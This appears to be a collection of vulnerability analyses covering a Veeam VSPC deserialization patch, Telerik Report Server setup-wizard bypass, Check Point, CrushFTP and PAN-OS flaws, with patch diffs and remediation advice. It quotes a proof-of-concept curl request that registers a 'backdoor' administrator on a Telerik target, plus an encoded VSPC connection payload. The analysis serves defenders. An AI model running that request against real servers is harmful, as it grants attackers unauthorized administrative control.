to remove the “Veeam” string allowlisting. This, and the lack of new forbidden entries, seems to indicate that the string “Veeam” is leveraged by the exploit’s serialized payload to take advantage of the string exclusion. There’s also a call to Type.GetType
, though it’s unclear what purpose it serves in the initial patch.
public override Type BindToType(string assemblyName, string typeName) { int num = typeName.IndexOf(",", StringComparison.Ordinal); if (num > 0) { typeName = typeName.Substring(0, num); } if (Array.Exists(_forbiddenTypes, (string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase))) { throw new ArgumentException("Deserialization of type " + typeName + " is prohibited."); } Type.GetType(typeName + ", " + assemblyName); return _wrappedBinder?.BindToType(assemblyName, typeName); }
Next, we’ll take a look at the content of the “patch reissue”. In this example, Type.GetType
is now used by the fullName
variable, which is then used to check more comprehensively for forbidden types. This improved function also verifies that fullName
is not null
. Notably, the exception being thrown also now includes a debugging message that prints how typeName
was parsed. This seems to indicate that the first patch may have been bypassed by confusing the parser.
public override Type BindToType(string assemblyName, string typeName) { string fullName = Type.GetType(typeName + ", " + assemblyName)?.FullName; if (fullName == null || Array.Exists(_forbiddenTypes, (string t) => fullName.EndsWith(t, StringComparison.OrdinalIgnoreCase))) { throw new ArgumentException("Deserialization of type '" + typeName + "' (parsed as '" + fullName + "') is prohibited."); } return _wrappedBinder?.BindToType(assemblyName, typeName); }
Based on the content of the secondary patch, it seems likely it was implemented in response to a patch bypass, not just to use Type.GetType
and harden the application. The excellent CODE WHITE research linked above outlines some .NET type parsing quirks when using serialization binders, which is probably the kind of thing this patch is trying to harden against.
The filter outlined above is referenced only by Veeam.MBP.AgentManager\Veeam.AC.AgentManagement\ReceiverWrapper.cs
, where it’s used within SetupSerializationBinder
and scoped for ChannelHostReceiver
and MultiplexedStreamReceiver
receiver types.
private void SetupSerializationBinder(ChannelHostReceiver receiver) { if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer) { netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder); } } private void SetupSerializationBinder(MultiplexedStreamReceiver receiver) { if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer) { netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder); } }
The first patch also included a handful of changes in various areas of the code base that return early if entity nodes of the type BackupObject
are encountered. For example, within Veeam.MBP.EntityImpl\Veeam.MBP.EntityImpl.EntityExtension\DataModelEntityExtension.cs
, the application now checks if entities are of the type BackupObject
before updating and adding child nodes.
public static void UpdateTraverse<T>(this T entity, T newEntity) where T : EntityDataModelDbNode { + if (entity is BackupObject) + { + return; + } if (entity == null) { throw new ArgumentNullException("entity"); } try { UpdateCurrentNode(entity, newEntity); AddOrUpdateChildNodes(entity, newEntity); } catch (Exception e) { Log.Error(e); throw; } } [..] private static void AddOrUpdateChildNodes<T>(T oldEntity, T newEntity) where T : EntityDataModelDbNode { List<BaseEntity> childEntitiesClone = newEntity.ChildEntitiesClone; IDictionary<string, EntityDataModelDbNode> dictionary = childEntitiesClone.OfType<EntityDataModelDbNode>().DistinctBySystemNameToDictionary(); foreach (EntityDataModelDbNode oldChild in oldEntity.ChildEntitiesClone.OfType<EntityDataModelDbNode>()) { + if (oldChild is BackupObject) + { + continue; + } if (dictionary.TryGetValue(oldChild.SystemName, out var value)) { dictionary.Remove(oldChild.SystemName); oldChild.UpdateTraverse(value); continue; } bool alwaysAlive = oldChild.GetTypeSystemName().AlwaysAlive; bool flag = childEntitiesClone.Any((BaseEntity a) => a.GetType() == oldChild.GetType()); if (!alwaysAlive || flag) { oldChild.Delete(); } } foreach (KeyValuePair<string, EntityDataModelDbNode> item in dictionary) { EntityDataModelDbNode value2 = item.Value; Log.Verbose("{0} was added", value2.SystemName); value2.CloneNode(oldEntity); } }
Summarizing Exploitation
Based on what we’ve seen in static analysis, the exploitation flow probably looks something like this:
- Authenticate to the server as a client or hijack an existing authenticated agent connection.
- Target the backup server (managed by the provider) with a serialized payload, scoped to be handled by the receiver’s custom
BinarySerializerVulnerabilityFilter
. VSPC Server deserializes client-provided data in a number of different places and relies on the filtering to catch unsafe types, so there are likely multiple possible deserialization sinks.
- Before the first patch, the serialized payload’s type will likely contain the string “Veeam” and be related to the
BackupObject
type.
- After the second patch, if exploitation is still viable, exploit attempts will likely attempt to confuse .NET type name parsing to get a malicious object deserialized.
Interacting with VSPC Server
As an addendum, though most of this analysis is based on static code review, I also want to summarize some information I’ve learned about the VSPC communication protocol for TCP ports 1989 and 9999. When VSPC Server receives a new connection from the client, it expects two bytes, a Veeam “type” byte and a “version” byte, followed by some XML data with the XML string length prepended as a 7-bit integer. The XML object, which should be a Connector
for the first interaction, can specify a connectTo
receiver, as well as a gate
to interact with. For example, opening a new channel can be performed by decoding and sending the following data to port 1989.
AgXTAQo8Q29ubmVjdG9yPgo8Y29ubmVjdFRvIHJlY2VpdmVyPSJSZWNlaXZlclY0Ij4KPGdhdGUgbmFtZT 0iQXV0aGVudGljYXRlZCIgdGltZW91dD0iMTIwMDAwIi8+CjwvY29ubmVjdFRvPgo8ZW5kcG9pbnQ+Cjx2 ZXJzaW9uPjU8L3ZlcnNpb24+CjwvZW5kcG9pbnQ+Cjxjb25uZWN0aW9uVHlwZT5Ob3JtYWw8L2Nvbm5lY3 Rpb25UeXBlPgo8ZGF0YS8+CjwvQ29ubmVjdG9yPgo
Decoded, the XML string included above defines an XML Connector
object, which specifies a ReceiverV4
receiver for post-authenticated interactions. This type seems to be affiliated with ReceiverWrapper
, which is the class that sets up the custom serialization filter that was patched.
<Connector> <connectTo receiver="ReceiverV4"> <gate name="Authenticated" timeout="120000"/> </connectTo> <endpoint> <version>5</version> </endpoint> <connectionType>Normal</connectionType> <data/> </Connector>
With a new connection open, the server should return a response containing a GUID for a new channel.
<Response status="Ok"><attributes><attr name="channelId" value="f9f1ab9c-b78f-46ed-b28b-be6b012e0afd" /><attr name="protocolVersion" value="5" /></attributes></Response>
The server will then upgrade the unencrypted connection to an encrypted connection and perform a handshake and authentication flow.
Technical Analysis
So far, 2024 has seen a few notable vulnerabilities, such as CVE-2024-1709, that attack setup wizard flows for authentication bypass. This vulnerability, discovered by researcher Sina Kheirkhah, falls into the same group. By exploiting an access control vulnerability in the administrator setup wizard, unauthenticated attackers gain high-privileged access to Telerik Report Server. With the newly-acquired administrator account, another new Report Server vulnerability, tracked as CVE-2024-1800, can be leveraged for remote code execution on the host system.
Exploitation
The initial administrator setup code in Telerik.ReportServer.Web.dll!Telerik.ReportServer.Web.Controllers.StartupController.Register
does not check if setup has already been completed. As a result, the attacker can manually perform the web request to create a new administrator account. Per Sina’s public proof of concept, the authentication bypass vulnerability can be exploited with a single request:
curl 'http://TARGET_HERE/Startup/Register' -d 'Username=USERNAME_HERE&Password=PASSWORD_HERE&ConfirmPassword=PASSWORD_HERE&Email=backdoor%40admin.com&FirstName=backdoor&LastName=user'
Public Exposure
It’s worth mentioning that Shodan only appears to return a few hundred public-facing Telerik Report Server instances. However, due to the unauthenticated RCE impact, organizations running the Report Server would be wise to patch with urgency. The Progress Knowledge Base contains guidance on how to remediate this vulnerability.
Technical Analysis
On May 28, 2024, Check Point published an advisory for an unauthenticated information disclosure vulnerability affecting Check Point Security Gateway devices configured with either the “IPSec VPN” or “Mobile Access” software blade. This vulnerability was stated as being a vulnerability impacting devices with password-only authentication enabled on some accounts. However, upon analysis, CVE-2024-24919 was discovered to be an unauthenticated arbitrary file read as root. Though attackers may steal credential files to crack account password hashes, CVE-2024-24919 also impacts systems that are not configured for password-only authentication.
This vulnerability should be urgently addressed by anyone running a Check Point Security Gateway with the IPSec VPN or Mobile Access blades enabled. Additionally, organizations should reference the Rapid7 blog post for this vulnerability for remediation and detection recommendations. As of May 30, 2024, CVE-2024-24919 has been added to CISA’s KEV catalog.
Technical Analysis
CVE-2024-4040 was discovered by Simon Garrelou, of Airbus CERT, and it’s a server-side template injection vulnerability for the CrushFTP managed file transfer suite. The vulnerability was reported to CrushFTP on Friday, April 19, 2024. That same day, it was patched and announced via the vendor’s security mailing list, though a CVE wasn’t assigned until Monday, April 22, 2024. The vulnerability impact is primarily unauthenticated arbitrary high-privilege file disclosure, and it can result in full compromise of CrushFTP instances via multiple paths. Additionally, Rapid7 has confirmed that it’s possible to establish remote code execution as a result of the file disclosure primitive.
Anyone running CrushFTP should patch with urgency. When the patch is applied, check for the IOCs outlined in the official Rapid7 analysis to identify any prior successful exploitation. As noted in the analysis, defenders should be aware that exploitation may be masked in logs via mangled exploit web requests.
Technical Analysis
CVE-2024-3400, which is technically a chain of two vulnerabilities, is an unauthenticated remote code execution exploit for software with a broad public attack surface. This vulnerability was discovered when it was used by a suspected nation state actor in the wild for initial access; needless to say, this is a bad one. Though some early communication indicated that turning off telemetry or enforcing threat signature detection might prevent exploitation, patching PAN-OS is necessary. Remediation of CVE-2024-3400 should be a high priority for organizations. When patches are applied, check for the IOCs outlined in the official Rapid7 analysis to identify any prior successful exploitation.